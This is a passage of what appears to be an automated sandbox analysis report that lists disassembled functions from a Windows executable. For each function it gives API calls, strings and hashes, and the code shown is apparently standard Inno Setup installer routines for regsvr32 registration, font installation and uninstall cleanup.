Opcode ID: d922b450a47b78d2b04aec2ac0d2e0f837e00e48c8544b253d9025e975fd03f1
Instruction ID: 4467ea82dd13d464879b0bd0dd0607b47ee3045dce17e21d2c6451b7f26a8ea4
Opcode Fuzzy Hash: d922b450a47b78d2b04aec2ac0d2e0f837e00e48c8544b253d9025e975fd03f1
Instruction Fuzzy Hash: 8761E5B5A00505AFCB40EFADD985E9AB7F8EF08314B10816AF908DB262C775ED40CF58

Function 00457F14 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,004580C8,?, /s ",?,regsvr32.exe",?,004580C8), ref: 0045803A

Strings

0x%x, xrefs: 0045805D
/s ", xrefs: 00457F83
Spawning 32-bit RegSvr32: , xrefs: 00457FC1
D, xrefs: 00457FF0
regsvr32.exe", xrefs: 00457F5B
CreateProcess, xrefs: 0045802C
/u, xrefs: 00457F76
Spawning 64-bit RegSvr32: , xrefs: 00457F9F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: d723b4d4e63128474f1a7954f42046bb5ea4c3ccf1ebb930fe5345dfcc04232a
Instruction ID: e9c79437d4df6862de8c7cd7f55e60b8630b5ed7fadd4497393df937d865c406
Opcode Fuzzy Hash: d723b4d4e63128474f1a7954f42046bb5ea4c3ccf1ebb930fe5345dfcc04232a
Instruction Fuzzy Hash: AA410670A043086BDB11EFD6D842B8EB7B9AF45705F51407FA904BB292DF789A0D8B19

Function 0044D178 Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044D1A9
GetSysColor.USER32(00000014), ref: 0044D1B0
SetTextColor.GDI32(00000000,00000000), ref: 0044D1C8
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D1F1
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D1FB
GetSysColor.USER32(00000010), ref: 0044D202
SetTextColor.GDI32(00000000,00000000), ref: 0044D21A
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D243
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D26E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: 4054566e8ba3b89cdd91132f39c510e9855df1fb138f21794d8e69447c138b72
Instruction ID: 8406a00effd73db105afccad7da3796984cf264811f0ddac3e5cace4e0ac1d2b
Opcode Fuzzy Hash: 4054566e8ba3b89cdd91132f39c510e9855df1fb138f21794d8e69447c138b72
Instruction Fuzzy Hash: A021BDB42015047FC710FB2ACD8AE8B6BDCDF19319B05457AB958EB292C67CDD404668

Function 0047778C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004776B4: GetWindowThreadProcessId.USER32(00000000), ref: 004776BC
Part of subcall function 004776B4: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,004777B3,0049C0A4,00000000), ref: 004776CF
Part of subcall function 004776B4: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004776D5

SendMessageA.USER32(00000000,0000004A,00000000,F{G), ref: 004777C1
GetTickCount.KERNEL32 ref: 00477806
GetTickCount.KERNEL32 ref: 00477810
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00477865

Strings

CallSpawnServer: Unexpected response: $%x, xrefs: 004777F6
CallSpawnServer: Unexpected status: %d, xrefs: 0047784E
F{G, xrefs: 004777B3, 004777B6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
String ID: CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d$F{G
API String ID: 613034392-3657229555
Opcode ID: 6d97cf5564b98f17fd9f3b8579433905f0e6c95bef7ad8bee9a9e7eacc473beb
Instruction ID: 2d480610a6b59e2baa88e371a3ce18c9cee9fe0f547c40ec3b8b85eb822a561a
Opcode Fuzzy Hash: 6d97cf5564b98f17fd9f3b8579433905f0e6c95bef7ad8bee9a9e7eacc473beb
Instruction Fuzzy Hash: CB31A234F042159ADB10EBB9C8867EE76A1AB44314F90847BF548EB392D67C9D01CBAD

Function 00496064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C192,00000000,0045C31D,?,00000000,00000002,00000002), ref: 00450933

Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498261,00000000,004982B6,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B

GetWindowThreadProcessId.USER32(00000000,?), ref: 004960F5
OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 00496109
SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 00496123
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 0049612F
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00496135
Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 00496148

Strings

Deleting Uninstall data files., xrefs: 0049606B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 1570157960-2568741658
Opcode ID: 1c14f06cf20906d6098757f7c161041ddb556eb254dcbfb897c76230ada43d7f
Instruction ID: a2b0394162f9d438edd1a59a6b8f88e08a82a6f464fdedc4f7b2e31c99877ff7
Opcode Fuzzy Hash: 1c14f06cf20906d6098757f7c161041ddb556eb254dcbfb897c76230ada43d7f
Instruction Fuzzy Hash: 5F218570304250AFEB10EB7AFCC6B163798EB54728F52453BB505962D3D67CAC04CA6C

Function 00470070 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0047016D,?,?,?,?,00000000), ref: 004700D7
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0047016D), ref: 004700EE
AddFontResourceA.GDI32(00000000), ref: 0047010B
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0047011F

Strings

Failed to open Fonts registry key., xrefs: 004700F5
AddFontResource, xrefs: 00470129
Failed to set value in Fonts registry key., xrefs: 004700E0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseFontMessageNotifyOpenResourceSendValue
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 955540645-649663873
Opcode ID: fb5005e48ab5c7daaaac94a0dc4afa742b509cb9d69f51cda3f3c10b282e3f45
Instruction ID: 4679b390ee7f38cc50779b5755f8f256d37ac4db7264feb969586a41c0613652
Opcode Fuzzy Hash: fb5005e48ab5c7daaaac94a0dc4afa742b509cb9d69f51cda3f3c10b282e3f45
Instruction Fuzzy Hash: 1E21F470741204BBD710EA669C42FAE779DDB45704F908077B904EB3C2DA7DEE01962D

Function 00462CA4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416410: GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
Part of subcall function 00416410: UnregisterClassA.USER32(?,00400000), ref: 004164AB
Part of subcall function 00416410: RegisterClassA.USER32(?), ref: 004164CE

GetVersion.KERNEL32 ref: 00462CD4
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 00462D12
SHGetFileInfo.SHELL32(00462DB0,00000000,?,00000160,00004011), ref: 00462D2F
LoadCursorA.USER32(00000000,00007F02), ref: 00462D4D
SetCursor.USER32(00000000,00000000,00007F02,00462DB0,00000000,?,00000160,00004011), ref: 00462D53
SetCursor.USER32(?,00462D93,00007F02,00462DB0,00000000,?,00000160,00004011), ref: 00462D86

Strings

Explorer, xrefs: 00462CEE

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: b2508eec98d805366e2f4507ea44d46b961a44d372cb9f0a28019716940d75e3
Instruction ID: 9dbbc9fa048eb90f76178aab56daef4cc46522196ca1757d39461a436d1c0ce4
Opcode Fuzzy Hash: b2508eec98d805366e2f4507ea44d46b961a44d372cb9f0a28019716940d75e3
Instruction Fuzzy Hash: A521D2707403047AE711BB758D47B9A36989B09708F5004BFF608EA2C3EEBC9801866E

Function 00477E90 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EA9
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00477EAF
GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EC2
CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0), ref: 00477EEC
CloseHandle.KERNEL32(00000000,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477F0A

Strings

kernel32.dll, xrefs: 00477EA4
GetFinalPathNameByHandleA, xrefs: 00477E9F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FileHandle$AddressAttributesCloseCreateModuleProc
String ID: GetFinalPathNameByHandleA$kernel32.dll
API String ID: 2704155762-2318956294
Opcode ID: 4ac9b8a734794afedd7c4e5dff1684406e57be29ff440d920efac7cf7b76c0e4
Instruction ID: 07fb0e6c3cbff21d125a0516fcac6af2f028e938fd8349bed9720d5bfc433141
Opcode Fuzzy Hash: 4ac9b8a734794afedd7c4e5dff1684406e57be29ff440d920efac7cf7b76c0e4
Instruction Fuzzy Hash: 2101B55074870536E520316A5E86FBF648C8B5477DF548137FB1CEE2D2E9AC9D06026E

Function 00459C5C Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00459DDE,?,00000000,00000000,00000000,?,00000006,?,00000000,004973CD,?,00000000,00497470), ref: 00459D22

Part of subcall function 004543F4: FindClose.KERNEL32(000000FF,004544EA), ref: 004544D9

Strings

Failed to strip read-only attribute., xrefs: 00459CF0
Stripped read-only attribute., xrefs: 00459CE4
Deleting directory: %s, xrefs: 00459CAB
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00459D97
Failed to delete directory (%d)., xrefs: 00459DB8
Failed to delete directory (%d). Will retry later., xrefs: 00459D3B
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00459CFC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: 8aabd4c25723369bf9534759df9b588e5f8490088031ca791ae669e8a2666fca
Instruction ID: 5a692d040748e25b342bfc59b5c440c53b4552d2faa6a9747d6521fe41ba2a01
Opcode Fuzzy Hash: 8aabd4c25723369bf9534759df9b588e5f8490088031ca791ae669e8a2666fca
Instruction Fuzzy Hash: 69419330A04248DACB10DB6A98417AE76B59F8530AF54857BAC05E7383DB7C8D0DC75D

Function 00422E50 Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00422EA4
GetCapture.USER32 ref: 00422EB3
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422EB9
ReleaseCapture.USER32 ref: 00422EBE
GetActiveWindow.USER32 ref: 00422ECD
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422F4C
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422FB0
GetActiveWindow.USER32 ref: 00422FBF

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: 3da4ec300de865232a3f60c9f80223c2bbe2427c246ff190c68097af5e341dae
Instruction ID: c6261992695b47722d84ffa44129b55dc5b2a4dad2f70b0012283783c1c7b094
Opcode Fuzzy Hash: 3da4ec300de865232a3f60c9f80223c2bbe2427c246ff190c68097af5e341dae
Instruction Fuzzy Hash: 24417230B00245AFDB10EB69DA86B9E77F1EF44304F5540BAF404AB2A2D778AE40DB49

Function 0042F290 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 0042F2BA
GetWindowLongA.USER32(?,000000EC), ref: 0042F2D1
GetActiveWindow.USER32 ref: 0042F2DA
MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 0042F307
SetActiveWindow.USER32(?,0042F437,00000000,?), ref: 0042F328

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ActiveLong$Message
String ID:
API String ID: 2785966331-0
Opcode ID: ca0cfe640851e4463c520fee9942c9233ac98ecb3d765a436798e71af7845e74
Instruction ID: ac844ef734d24c76dc9aa96f201b13a865b129e9c1b137beabd8cb6517960092
Opcode Fuzzy Hash: ca0cfe640851e4463c520fee9942c9233ac98ecb3d765a436798e71af7845e74
Instruction Fuzzy Hash: F931D271A00254AFEB01EFA5DD52E6EBBB8EB09304F9144BAF804E3291D73C9D10CB58

Function 00429480 Relevance: 12.1, APIs: 8, Instructions: 62COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042948A
GetTextMetricsA.GDI32(00000000), ref: 00429493

Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7

SelectObject.GDI32(00000000,00000000), ref: 004294A2
GetTextMetricsA.GDI32(00000000,?), ref: 004294AF
SelectObject.GDI32(00000000,00000000), ref: 004294B6
ReleaseDC.USER32(00000000,00000000), ref: 004294BE
GetSystemMetrics.USER32(00000006), ref: 004294E3
GetSystemMetrics.USER32(00000006), ref: 004294FD

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$CreateFontIndirectRelease
String ID:
API String ID: 1583807278-0
Opcode ID: 62880ac9d08e5d684fd074e0f3ca61438eede96ade4d4e291019075c7fd144c0
Instruction ID: 8a5b62ad3b2811282b00f4aa11bc4c2c065e9b9ae855548013837f5c18493421
Opcode Fuzzy Hash: 62880ac9d08e5d684fd074e0f3ca61438eede96ade4d4e291019075c7fd144c0
Instruction Fuzzy Hash: 0F01C4A17087103BE321767A9CC6F6F65C8DB44358F84043BF686D63D3D96C9C41866A

Function 0041DE24 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0041DE27
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041DE31
ReleaseDC.USER32(00000000,00000000), ref: 0041DE3E
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DE4D
GetStockObject.GDI32(00000007), ref: 0041DE5B
GetStockObject.GDI32(00000005), ref: 0041DE67
GetStockObject.GDI32(0000000D), ref: 0041DE73
LoadIconA.USER32(00000000,00007F00), ref: 0041DE84

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ObjectStock$CapsDeviceIconLoadRelease
String ID:
API String ID: 225703358-0
Opcode ID: cf3de45f10179e040e4bf754cd3e00afbbff0486b0448c288d4be5e1939ebdb6
Instruction ID: 282f56568f1177e4dad385ec7f61a974d29090d827cf1f87eb40c920fa9ca7e8
Opcode Fuzzy Hash: cf3de45f10179e040e4bf754cd3e00afbbff0486b0448c288d4be5e1939ebdb6
Instruction Fuzzy Hash: 4C1142706457015EE340BFA66E52B6A36A4D725708F40413FF609AF3D1D77A2C448B9E

Function 004630B4 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 004631B8
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046324D), ref: 004631BE
SetCursor.USER32(?,00463235,00007F02,00000000,0046324D), ref: 00463228

Strings

, xrefs: 0046344E
Internal error: Item already expanding, xrefs: 00463155
, xrefs: 00463433

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $Internal error: Item already expanding
API String ID: 1675784387-1948079669
Opcode ID: 9a907484170bb085a46c4a598b93bfbbd2bc194262705c34c2f461fc244cfbd4
Instruction ID: 06b17efc2869e1117ca0a97e11558f018c2dd138a4dd01a316207194f11c04f7
Opcode Fuzzy Hash: 9a907484170bb085a46c4a598b93bfbbd2bc194262705c34c2f461fc244cfbd4
Instruction Fuzzy Hash: 74B1B430A00284DFD711DF69C585B9EBBF0BF04305F1484AAE8459B792DB78EE45CB16

Function 00453D30 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17

Strings

.tmp, xrefs: 00453DD3
MoveFileEx, xrefs: 00454027
[rename], xrefs: 00453E7A, 00453EB6
NUL, xrefs: 00453ED9
WININIT.INI, xrefs: 00453DC5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 4acafb8f8444067680350d3d4e03481623aa06ca7574397e5033f2f4cf45a0b5
Instruction ID: 4c4b1d7f09994941c57eaafc4db68242d6a3f6c21ecd3f2b5b8f846a746055a2
Opcode Fuzzy Hash: 4acafb8f8444067680350d3d4e03481623aa06ca7574397e5033f2f4cf45a0b5
Instruction Fuzzy Hash: 40911434E002099BDB01EFA5D842BDEB7F5AF4874AF608466E90077392D7786E49CB58

Function 00476770 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200windowCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 004767C9
SetWindowLongW.USER32(00000000,000000FC,00476724), ref: 004767F0
GetACP.KERNEL32(00000000,00476A08,?,00000000,00476A32), ref: 0047682D
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00476873

Strings

Inno Setup: Language, xrefs: 004768FB
COMBOBOX, xrefs: 004767C2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

